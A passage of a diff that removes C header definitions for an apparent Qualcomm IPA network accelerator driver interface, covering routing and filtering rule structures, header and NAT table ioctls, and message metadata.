- ECM_CONNECT = IPA_WAN_EVENT_MAX,
- ECM_DISCONNECT,
- IPA_ECM_EVENT_MAX,
-};
-
-enum ipa_tethering_stats_event {
- IPA_TETHERING_STATS_UPDATE_STATS = IPA_ECM_EVENT_MAX,
- IPA_TETHERING_STATS_UPDATE_NETWORK_STATS,
- IPA_TETHERING_STATS_EVENT_MAX,
- IPA_EVENT_MAX_NUM = IPA_TETHERING_STATS_EVENT_MAX
-};
-
-#define IPA_EVENT_MAX ((int)IPA_EVENT_MAX_NUM)
-
-/**
- * enum ipa_rm_resource_name - IPA RM clients identification names
- *
- * Add new mapping to ipa_rm_prod_index() / ipa_rm_cons_index()
- * when adding new entry to this enum.
- */
-enum ipa_rm_resource_name {
- IPA_RM_RESOURCE_PROD = 0,
- IPA_RM_RESOURCE_Q6_PROD = IPA_RM_RESOURCE_PROD,
- IPA_RM_RESOURCE_USB_PROD,
- IPA_RM_RESOURCE_USB_DPL_DUMMY_PROD,
- IPA_RM_RESOURCE_HSIC_PROD,
- IPA_RM_RESOURCE_STD_ECM_PROD,
- IPA_RM_RESOURCE_RNDIS_PROD,
- IPA_RM_RESOURCE_WWAN_0_PROD,
- IPA_RM_RESOURCE_WLAN_PROD,
- IPA_RM_RESOURCE_ODU_ADAPT_PROD,
- IPA_RM_RESOURCE_MHI_PROD,
- IPA_RM_RESOURCE_PROD_MAX,
-
- IPA_RM_RESOURCE_Q6_CONS = IPA_RM_RESOURCE_PROD_MAX,
- IPA_RM_RESOURCE_USB_CONS,
- IPA_RM_RESOURCE_USB_DPL_CONS,
- IPA_RM_RESOURCE_HSIC_CONS,
- IPA_RM_RESOURCE_WLAN_CONS,
- IPA_RM_RESOURCE_APPS_CONS,
- IPA_RM_RESOURCE_ODU_ADAPT_CONS,
- IPA_RM_RESOURCE_MHI_CONS,
- IPA_RM_RESOURCE_MAX
-};
-
-/**
- * enum ipa_hw_type - IPA hardware version type
- * @IPA_HW_None: IPA hardware version not defined
- * @IPA_HW_v1_0: IPA hardware version 1.0
- * @IPA_HW_v1_1: IPA hardware version 1.1
- * @IPA_HW_v2_0: IPA hardware version 2.0
- * @IPA_HW_v2_1: IPA hardware version 2.1
- * @IPA_HW_v2_5: IPA hardware version 2.5
- * @IPA_HW_v2_6: IPA hardware version 2.6
- * @IPA_HW_v2_6L: IPA hardware version 2.6L
- * @IPA_HW_v3_0: IPA hardware version 3.0
- */
-enum ipa_hw_type {
- IPA_HW_None = 0,
- IPA_HW_v1_0 = 1,
- IPA_HW_v1_1 = 2,
- IPA_HW_v2_0 = 3,
- IPA_HW_v2_1 = 4,
- IPA_HW_v2_5 = 5,
- IPA_HW_v2_6 = IPA_HW_v2_5,
- IPA_HW_v2_6L = 6,
- IPA_HW_v3_0 = 10,
- IPA_HW_v3_1 = 11,
- IPA_HW_MAX
-};
-
-/**
- * struct ipa_rule_attrib - attributes of a routing/filtering
- * rule, all in LE
- * @attrib_mask: what attributes are valid
- * @src_port_lo: low port of src port range
- * @src_port_hi: high port of src port range
- * @dst_port_lo: low port of dst port range
- * @dst_port_hi: high port of dst port range
- * @type: ICMP/IGMP type
- * @code: ICMP/IGMP code
- * @spi: IPSec SPI
- * @src_port: exact src port
- * @dst_port: exact dst port
- * @meta_data: meta-data val
- * @meta_data_mask: meta-data mask
- * @u.v4.tos: type of service
- * @u.v4.protocol: protocol
- * @u.v4.src_addr: src address value
- * @u.v4.src_addr_mask: src address mask
- * @u.v4.dst_addr: dst address value
- * @u.v4.dst_addr_mask: dst address mask
- * @u.v6.tc: traffic class
- * @u.v6.flow_label: flow label
- * @u.v6.next_hdr: next header
- * @u.v6.src_addr: src address val
- * @u.v6.src_addr_mask: src address mask
- * @u.v6.dst_addr: dst address val
- * @u.v6.dst_addr_mask: dst address mask
- */
-struct ipa_rule_attrib {
- uint32_t attrib_mask;
- uint16_t src_port_lo;
- uint16_t src_port_hi;
- uint16_t dst_port_lo;
- uint16_t dst_port_hi;
- uint8_t type;
- uint8_t code;
- uint8_t tos_value;
- uint8_t tos_mask;
- uint32_t spi;
- uint16_t src_port;
- uint16_t dst_port;
- uint32_t meta_data;
- uint32_t meta_data_mask;
- uint8_t src_mac_addr[ETH_ALEN];
- uint8_t src_mac_addr_mask[ETH_ALEN];
- uint8_t dst_mac_addr[ETH_ALEN];
- uint8_t dst_mac_addr_mask[ETH_ALEN];
- uint16_t ether_type;
- union {
- struct {
- uint8_t tos;
- uint8_t protocol;
- uint32_t src_addr;
- uint32_t src_addr_mask;
- uint32_t dst_addr;
- uint32_t dst_addr_mask;
- } v4;
- struct {
- uint8_t tc;
- uint32_t flow_label;
- uint8_t next_hdr;
- uint32_t src_addr[4];
- uint32_t src_addr_mask[4];
- uint32_t dst_addr[4];
- uint32_t dst_addr_mask[4];
- } v6;
- } u;
-};
-
-/*! @brief The maximum number of Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of IHL offset Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of Mask Equal 128 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_128_EQNS 2
-
-/*! @brief The maximum number of IHL offset Range Check 16 Eqns */
-#define IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS 2
-
-/*! @brief Offset and 16 bit comparison equation */
-struct ipa_ipfltr_eq_16 {
- int8_t offset;
- uint16_t value;
-};
-
-/*! @brief Offset and 32 bit comparison equation */
-struct ipa_ipfltr_eq_32 {
- int8_t offset;
- uint32_t value;
-};
-
-/*! @brief Offset and 128 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_128 {
- int8_t offset;
- uint8_t mask[16];
- uint8_t value[16];
-};
-
-/*! @brief Offset and 32 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_32 {
- int8_t offset;
- uint32_t mask;
- uint32_t value;
-};
-
-/*! @brief Equation for identifying a range. Ranges are inclusive */
-struct ipa_ipfltr_range_eq_16 {
- int8_t offset;
- uint16_t range_low;
- uint16_t range_high;
-};
-
-/*! @brief Rule equations which are set according to DS filter installation */
-struct ipa_ipfltri_rule_eq {
- /*! 16-bit Bitmask to indicate how many eqs are valid in this rule */
- uint16_t rule_eq_bitmap;
- /*! Specifies if a type of service check rule is present */
- uint8_t tos_eq_present;
- /*! The value to check against the type of service (ipv4) field */
- uint8_t tos_eq;
- /*! Specifies if a protocol check rule is present */
- uint8_t protocol_eq_present;
- /*! The value to check against the protocol (ipv6) field */
- uint8_t protocol_eq;
- /*! The number of ip header length offset 16 bit range check
- * rules in this rule */
- uint8_t num_ihl_offset_range_16;
- /*! An array of the registered ip header length offset 16 bit
- * range check rules */
- struct ipa_ipfltr_range_eq_16
- ihl_offset_range_16[IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS];
- /*! The number of mask equal 32 rules present in this rule */
- uint8_t num_offset_meq_32;
- /*! An array of all the possible mask equal 32 rules in this rule */
- struct ipa_ipfltr_mask_eq_32
- offset_meq_32[IPA_IPFLTR_NUM_MEQ_32_EQNS];
- /*! Specifies if the traffic class rule is present in this rule */
- uint8_t tc_eq_present;
- /*! The value to check the traffic class (ipv4) field against */
- uint8_t tc_eq;
- /*! Specifies if the flow equals rule is present in this rule */
- uint8_t fl_eq_present;
- /*! The value to check the flow (ipv6) field against */
- uint32_t fl_eq;
- /*! The number of ip header length offset 16 bit equations in this
- * rule */
- uint8_t ihl_offset_eq_16_present;
- /*! The ip header length offset 16 bit equation */
- struct ipa_ipfltr_eq_16 ihl_offset_eq_16;
- /*! The number of ip header length offset 32 bit equations in this
- * rule */
- uint8_t ihl_offset_eq_32_present;
- /*! The ip header length offset 32 bit equation */
- struct ipa_ipfltr_eq_32 ihl_offset_eq_32;
- /*! The number of ip header length offset 32 bit mask equations in
- * this rule */
- uint8_t num_ihl_offset_meq_32;
- /*! The ip header length offset 32 bit mask equation */
- struct ipa_ipfltr_mask_eq_32
- ihl_offset_meq_32[IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS];
- /*! The number of ip header length offset 128 bit equations in this
- * rule */
- uint8_t num_offset_meq_128;
- /*! The ip header length offset 128 bit equation */
- struct ipa_ipfltr_mask_eq_128
- offset_meq_128[IPA_IPFLTR_NUM_MEQ_128_EQNS];
- /*! The metadata 32 bit masked comparison equation present or not */
- /* Metadata based rules are added internally by IPA driver */
- uint8_t metadata_meq32_present;
- /*! The metadata 32 bit masked comparison equation */
- struct ipa_ipfltr_mask_eq_32 metadata_meq32;
- /*! Specifies if the Fragment equation is present in this rule */
- uint8_t ipv4_frag_eq_present;
-};
-
-/**
- * struct ipa_flt_rule - attributes of a filtering rule
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- * the header removed as part of header removal
- * @to_uc: bool switch to pass packet to micro-controller
- * @action: action field
- * @rt_tbl_hdl: handle of table from "get"
- * @attrib: attributes of the rule
- * @eq_attrib: attributes of the rule in equation form (valid when
- * eq_attrib_type is true)
- * @rt_tbl_idx: index of RT table referred to by filter rule (valid when
- * eq_attrib_type is true and non-exception action)
- * @eq_attrib_type: true if equation level form used to specify attributes
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- * IPA will use the rule and will not look for other rules that may have
- * higher priority
- * @hashable: bool switch. is this rule hashable or not?
- * ipa uses hashable rules to cache their hit results to be used in
- * consecutive packets
- * @rule_id: rule_id to be assigned to the filter rule. In case client specifies
- * rule_id as 0 the driver will assign a new rule_id
- */
-struct ipa_flt_rule {
- uint8_t retain_hdr;
- uint8_t to_uc;
- enum ipa_flt_action action;
- uint32_t rt_tbl_hdl;
- struct ipa_rule_attrib attrib;
- struct ipa_ipfltri_rule_eq eq_attrib;
- uint32_t rt_tbl_idx;
- uint8_t eq_attrib_type;
- uint8_t max_prio;
- uint8_t hashable;
- uint16_t rule_id;
-};
-
-/**
- * enum ipa_hdr_l2_type - L2 header type
- * IPA_HDR_L2_NONE: L2 header which isn't Ethernet II and isn't 802_3
- * IPA_HDR_L2_ETHERNET_II: L2 header of type Ethernet II
- * IPA_HDR_L2_802_3: L2 header of type 802_3
- */
-enum ipa_hdr_l2_type {
- IPA_HDR_L2_NONE,
- IPA_HDR_L2_ETHERNET_II,
- IPA_HDR_L2_802_3,
- IPA_HDR_L2_MAX,
-};
-
-/**
- * enum ipa_hdr_l2_type - Processing context type
- * IPA_HDR_PROC_NONE: No processing context
- * IPA_HDR_PROC_ETHII_TO_ETHII: Process Ethernet II to Ethernet II
- * IPA_HDR_PROC_ETHII_TO_802_3: Process Ethernet II to 802_3
- * IPA_HDR_PROC_802_3_TO_ETHII: Process 802_3 to Ethernet II
- * IPA_HDR_PROC_802_3_TO_802_3: Process 802_3 to 802_3
- */
-enum ipa_hdr_proc_type {
- IPA_HDR_PROC_NONE,
- IPA_HDR_PROC_ETHII_TO_ETHII,
- IPA_HDR_PROC_ETHII_TO_802_3,
- IPA_HDR_PROC_802_3_TO_ETHII,
- IPA_HDR_PROC_802_3_TO_802_3,
- IPA_HDR_PROC_MAX,
-};
-
-/**
- * struct ipa_rt_rule - attributes of a routing rule
- * @dst: dst "client"
- * @hdr_hdl: handle to the dynamic header
- it is not an index or an offset
- * @hdr_proc_ctx_hdl: handle to header processing context. if it is provided
- hdr_hdl shall be 0
- * @attrib: attributes of the rule
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- * IPA will use the rule and will not look for other rules that may have
- * higher priority
- * @hashable: bool switch. is this rule hashable or not?
- * ipa uses hashable rules to cache their hit results to be used in
- * consecutive packets
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- * the header removed as part of header removal
- */
-struct ipa_rt_rule {
- enum ipa_client_type dst;
- uint32_t hdr_hdl;
- uint32_t hdr_proc_ctx_hdl;
- struct ipa_rule_attrib attrib;
- uint8_t max_prio;
- uint8_t hashable;
- uint8_t retain_hdr;
-};
-
-/**
- * struct ipa_hdr_add - header descriptor includes in and out
- * parameters
- * @name: name of the header
- * @hdr: actual header to be inserted
- * @hdr_len: size of above header
- * @type: l2 header type
- * @is_partial: header not fully specified
- * @hdr_hdl: out parameter, handle to header, valid when status is 0
- * @status: out parameter, status of header add operation,
- * 0 for success,
- * -1 for failure
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_hdr_add {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t hdr[IPA_HDR_MAX_SIZE];
- uint8_t hdr_len;
- enum ipa_hdr_l2_type type;
- uint8_t is_partial;
- uint32_t hdr_hdl;
- int status;
- uint8_t is_eth2_ofst_valid;
- uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_add_hdr - header addition parameters (support
- * multiple headers and commit)
- * @commit: should headers be written to IPA HW also?
- * @num_hdrs: num of headers that follow
- * @ipa_hdr_add hdr: all headers need to go here back to
- * back, no pointers
- */
-struct ipa_ioc_add_hdr {
- uint8_t commit;
- uint8_t num_hdrs;
- struct ipa_hdr_add hdr[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_add - processing context descriptor includes
- * in and out parameters
- * @type: processing context type
- * @hdr_hdl: in parameter, handle to header
- * @proc_ctx_hdl: out parameter, handle to proc_ctx, valid when status is 0
- * @status: out parameter, status of header add operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_hdr_proc_ctx_add {
- enum ipa_hdr_proc_type type;
- uint32_t hdr_hdl;
- uint32_t proc_ctx_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_add_hdr - processing context addition parameters (support
- * multiple processing context and commit)
- * @commit: should processing context be written to IPA HW also?
- * @num_proc_ctxs: num of processing context that follow
- * @proc_ctx: all processing context need to go here back to
- * back, no pointers
- */
-struct ipa_ioc_add_hdr_proc_ctx {
- uint8_t commit;
- uint8_t num_proc_ctxs;
- struct ipa_hdr_proc_ctx_add proc_ctx[0];
-};
-
-/**
- * struct ipa_ioc_copy_hdr - retrieve a copy of the specified
- * header - caller can then derive the complete header
- * @name: name of the header resource
- * @hdr: out parameter, contents of specified header,
- * valid only when ioctl return val is non-negative
- * @hdr_len: out parameter, size of above header
- * valid only when ioctl return val is non-negative
- * @type: l2 header type
- * valid only when ioctl return val is non-negative
- * @is_partial: out parameter, indicates whether specified header is partial
- * valid only when ioctl return val is non-negative
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_ioc_copy_hdr {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t hdr[IPA_HDR_MAX_SIZE];
- uint8_t hdr_len;
- enum ipa_hdr_l2_type type;
- uint8_t is_partial;
- uint8_t is_eth2_ofst_valid;
- uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_get_hdr - header entry lookup parameters, if lookup was
- * successful caller must call put to release the reference count when done
- * @name: name of the header resource
- * @hdl: out parameter, handle of header entry
- * valid only when ioctl return val is non-negative
- */
-struct ipa_ioc_get_hdr {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t hdl;
-};
-
-/**
- * struct ipa_hdr_del - header descriptor includes in and out
- * parameters
- *
- * @hdl: handle returned from header add operation
- * @status: out parameter, status of header remove operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_hdr_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_del_hdr - header deletion parameters (support
- * multiple headers and commit)
- * @commit: should headers be removed from IPA HW also?
- * @num_hdls: num of headers being removed
- * @ipa_hdr_del hdl: all handles need to go here back to back, no pointers
- */
-struct ipa_ioc_del_hdr {
- uint8_t commit;
- uint8_t num_hdls;
- struct ipa_hdr_del hdl[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_del - processing context descriptor includes
- * in and out parameters
- * @hdl: handle returned from processing context add operation
- * @status: out parameter, status of header remove operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_hdr_proc_ctx_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * ipa_ioc_del_hdr_proc_ctx - processing context deletion parameters (support
- * multiple headers and commit)
- * @commit: should processing contexts be removed from IPA HW also?
- * @num_hdls: num of processing contexts being removed
- * @ipa_hdr_proc_ctx_del hdl: all handles need to go here back to back,
- * no pointers
- */
-struct ipa_ioc_del_hdr_proc_ctx {
- uint8_t commit;
- uint8_t num_hdls;
- struct ipa_hdr_proc_ctx_del hdl[0];
-};
-
-/**
- * struct ipa_rt_rule_add - routing rule descriptor includes in
- * and out parameters
- * @rule: actual rule to be added
- * @at_rear: add at back of routing table, it is NOT possible to add rules at
- * the rear of the "default" routing tables
- * @rt_rule_hdl: output parameter, handle to rule, valid when status is 0
- * @status: output parameter, status of routing rule add operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_rt_rule_add {
- struct ipa_rt_rule rule;
- uint8_t at_rear;
- uint32_t rt_rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_add_rt_rule - routing rule addition parameters (supports
- * multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_rt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
- uint8_t num_rules;
- struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_rt_rule_after - routing rule addition after a specific
- * rule parameters(supports multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @add_after_hdl: the rules will be added after this specific rule
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- * at_rear field will be ignored when using this IOCTL
- */
-struct ipa_ioc_add_rt_rule_after {
- uint8_t commit;
- enum ipa_ip_type ip;
- char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
- uint8_t num_rules;
- uint32_t add_after_hdl;
- struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_rt_rule_mdfy - routing rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @rt_rule_hdl: handle to rule which supposed to modify
- * @status: output parameter, status of routing rule modify operation,
- * 0 for success,
- * -1 for failure
- *
- */
-struct ipa_rt_rule_mdfy {
- struct ipa_rt_rule rule;
- uint32_t rt_rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_rt_rule - routing rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of routing rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_rt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_rules;
- struct ipa_rt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_rt_rule_del - routing rule descriptor includes in
- * and out parameters
- * @hdl: handle returned from route rule add operation
- * @status: output parameter, status of route rule delete operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_rt_rule_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_del_rt_rule - routing rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @ipa_rt_rule_del hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_rt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_hdls;
- struct ipa_rt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl_indx - routing table index lookup parameters
- * @ip: IP family of table
- * @name: name of routing table resource
- * @index: output parameter, routing table index, valid only when ioctl
- * return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl_indx {
- enum ipa_ip_type ip;
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t idx;
-};
-
-/**
- * struct ipa_flt_rule_add - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @at_rear: add at back of filtering table?
- * @flt_rule_hdl: out parameter, handle to rule, valid when status is 0
- * @status: output parameter, status of filtering rule add operation,
- * 0 for success,
- * -1 for failure
- *
- */
-struct ipa_flt_rule_add {
- struct ipa_flt_rule rule;
- uint8_t at_rear;
- uint32_t flt_rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_add_flt_rule - filtering rule addition parameters (supports
- * multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep: which "clients" pipe does this rule apply to?
- * valid only when global is 0
- * @global: does this apply to global filter table of specific IP family
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_flt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- enum ipa_client_type ep;
- uint8_t global;
- uint8_t num_rules;
- struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_flt_rule_after - filtering rule addition after specific
- * rule parameters (supports multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep: which "clients" pipe does this rule apply to?
- * @num_rules: number of filtering rules that follow
- * @add_after_hdl: rules will be added after the rule with this handle
- * @rules: all rules need to go back to back here, no pointers. at rear field
- * is ignored when using this IOCTL
- */
-struct ipa_ioc_add_flt_rule_after {
- uint8_t commit;
- enum ipa_ip_type ip;
- enum ipa_client_type ep;
- uint8_t num_rules;
- uint32_t add_after_hdl;
- struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_flt_rule_mdfy - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @flt_rule_hdl: handle to rule
- * @status: output parameter, status of filtering rule modify operation,
- * 0 for success,
- * -1 for failure
- *
- */
-struct ipa_flt_rule_mdfy {
- struct ipa_flt_rule rule;
- uint32_t rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_flt_rule - filtering rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_flt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_rules;
- struct ipa_flt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_flt_rule_del - filtering rule descriptor includes
- * in and out parameters
- *
- * @hdl: handle returned from filtering rule add operation
- * @status: output parameter, status of filtering rule delete operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_flt_rule_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_del_flt_rule - filtering rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_flt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_hdls;
- struct ipa_flt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl - routing table lookup parameters, if lookup was
- * successful caller must call put to release the reference
- * count when done
- * @ip: IP family of table
- * @name: name of routing table resource
- * @htl: output parameter, handle of routing table, valid only when ioctl
- * return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl {
- enum ipa_ip_type ip;
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t hdl;
-};
-
-/**
- * struct ipa_ioc_query_intf - used to lookup number of tx and
- * rx properties of interface
- * @name: name of interface
- * @num_tx_props: output parameter, number of tx properties
- * valid only when ioctl return val is non-negative
- * @num_rx_props: output parameter, number of rx properties
- * valid only when ioctl return val is non-negative
- * @num_ext_props: output parameter, number of ext properties
- * valid only when ioctl return val is non-negative
- * @excp_pipe: exception packets of this interface should be
- * routed to this pipe
- */
-struct ipa_ioc_query_intf {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_tx_props;
- uint32_t num_rx_props;
- uint32_t num_ext_props;
- enum ipa_client_type excp_pipe;
-};
-
-/**
- * struct ipa_ioc_tx_intf_prop - interface tx property
- * @ip: IP family of routing rule
- * @attrib: routing rule
- * @dst_pipe: routing output pipe
- * @alt_dst_pipe: alternate routing output pipe
- * @hdr_name: name of associated header if any, empty string when no header
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_tx_intf_prop {
- enum ipa_ip_type ip;
- struct ipa_rule_attrib attrib;
- enum ipa_client_type dst_pipe;
- enum ipa_client_type alt_dst_pipe;
- char hdr_name[IPA_RESOURCE_NAME_MAX];
- enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_tx_props - interface tx propertie
- * @name: name of interface
- * @num_tx_props: number of TX properties
- * @tx[0]: output parameter, the tx properties go here back to back
- */
-struct ipa_ioc_query_intf_tx_props {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_tx_props;
- struct ipa_ioc_tx_intf_prop tx[0];
-};
-
-/**
- * struct ipa_ioc_ext_intf_prop - interface extended property
- * @ip: IP family of routing rule
- * @eq_attrib: attributes of the rule in equation form
- * @action: action field
- * @rt_tbl_idx: index of RT table referred to by filter rule
- * @mux_id: MUX_ID
- * @filter_hdl: handle of filter (as specified by provider of filter rule)
- * @is_xlat_rule: it is xlat flt rule or not
- */
-struct ipa_ioc_ext_intf_prop {
- enum ipa_ip_type ip;
- struct ipa_ipfltri_rule_eq eq_attrib;
- enum ipa_flt_action action;
- uint32_t rt_tbl_idx;
- uint8_t mux_id;
- uint32_t filter_hdl;
- uint8_t is_xlat_rule;
- uint32_t rule_id;
- uint8_t is_rule_hashable;
-};
-
-/**
- * struct ipa_ioc_query_intf_ext_props - interface ext propertie
- * @name: name of interface
- * @num_ext_props: number of EXT properties
- * @ext[0]: output parameter, the ext properties go here back to back
- */
-struct ipa_ioc_query_intf_ext_props {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_ext_props;
- struct ipa_ioc_ext_intf_prop ext[0];
-};
-
-/**
- * struct ipa_ioc_rx_intf_prop - interface rx property
- * @ip: IP family of filtering rule
- * @attrib: filtering rule
- * @src_pipe: input pipe
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_rx_intf_prop {
- enum ipa_ip_type ip;
- struct ipa_rule_attrib attrib;
- enum ipa_client_type src_pipe;
- enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_rx_props - interface rx propertie
- * @name: name of interface
- * @num_rx_props: number of RX properties
- * @rx: output parameter, the rx properties go here back to back
- */
-struct ipa_ioc_query_intf_rx_props {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_rx_props;
- struct ipa_ioc_rx_intf_prop rx[0];
-};
-
-/**
- * struct ipa_ioc_nat_alloc_mem - nat table memory allocation
- * properties
- * @dev_name: input parameter, the name of table
- * @size: input parameter, size of table in bytes
- * @offset: output parameter, offset into page in case of system memory
- */
-struct ipa_ioc_nat_alloc_mem {
- char dev_name[IPA_RESOURCE_NAME_MAX];
- size_t size;
- off_t offset;
-};
-
-/**
- * struct ipa_ioc_v4_nat_init - nat table initialization
- * parameters
- * @tbl_index: input parameter, index of the table
- * @ipv4_rules_offset: input parameter, ipv4 rules address offset
- * @expn_rules_offset: input parameter, ipv4 expansion rules address offset
- * @index_offset: input parameter, index rules offset
- * @index_expn_offset: input parameter, index expansion rules offset
- * @table_entries: input parameter, ipv4 rules table size in entries
- * @expn_table_entries: input parameter, ipv4 expansion rules table size
- * @ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_init {
- uint8_t tbl_index;
- uint32_t ipv4_rules_offset;
- uint32_t expn_rules_offset;
-
- uint32_t index_offset;
- uint32_t index_expn_offset;
-
- uint16_t table_entries;
- uint16_t expn_table_entries;
- uint32_t ip_addr;
-};
-
-/**
- * struct ipa_ioc_v4_nat_del - nat table delete parameter
- * @table_index: input parameter, index of the table
- * @public_ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_del {
- uint8_t table_index;
- uint32_t public_ip_addr;
-};
-
-/**
- * struct ipa_ioc_nat_dma_one - nat dma command parameter
- * @table_index: input parameter, index of the table
- * @base_addr: type of table, from which the base address of the table
- * can be inferred
- * @offset: destination offset within the NAT table
- * @data: data to be written.
- */
-struct ipa_ioc_nat_dma_one {
- uint8_t table_index;
- uint8_t base_addr;
-
- uint32_t offset;
- uint16_t data;
-
-};
-
-/**
- * struct ipa_ioc_nat_dma_cmd - To hold multiple nat dma commands
- * @entries: number of dma commands in use
- * @dma: data pointer to the dma commands
- */
-struct ipa_ioc_nat_dma_cmd {
- uint8_t entries;
- struct ipa_ioc_nat_dma_one dma[0];
-
-};
-
-/**
- * struct ipa_msg_meta - Format of the message meta-data.
- * @msg_type: the type of the message
- * @rsvd: reserved bits for future use.
- * @msg_len: the length of the message in bytes
- *
- * For push model:
- * Client in user-space should issue a read on the device (/dev/ipa) with a
- * sufficiently large buffer in a continuous loop, call will block when there is
- * no message to read. Upon return, client can read the ipa_msg_meta from start
- * of buffer to find out type and length of message
- * size of buffer supplied >= (size of largest message + size of metadata)
- *
- * For pull model:
- * Client in user-space can also issue a pull msg IOCTL to device (/dev/ipa)
- * with a payload containing space for the ipa_msg_meta and the message specific
- * payload length.
- * size of buffer supplied == (len of specific message + size of metadata)
- */
-struct ipa_msg_meta {
- uint8_t msg_type;
- uint8_t rsvd;
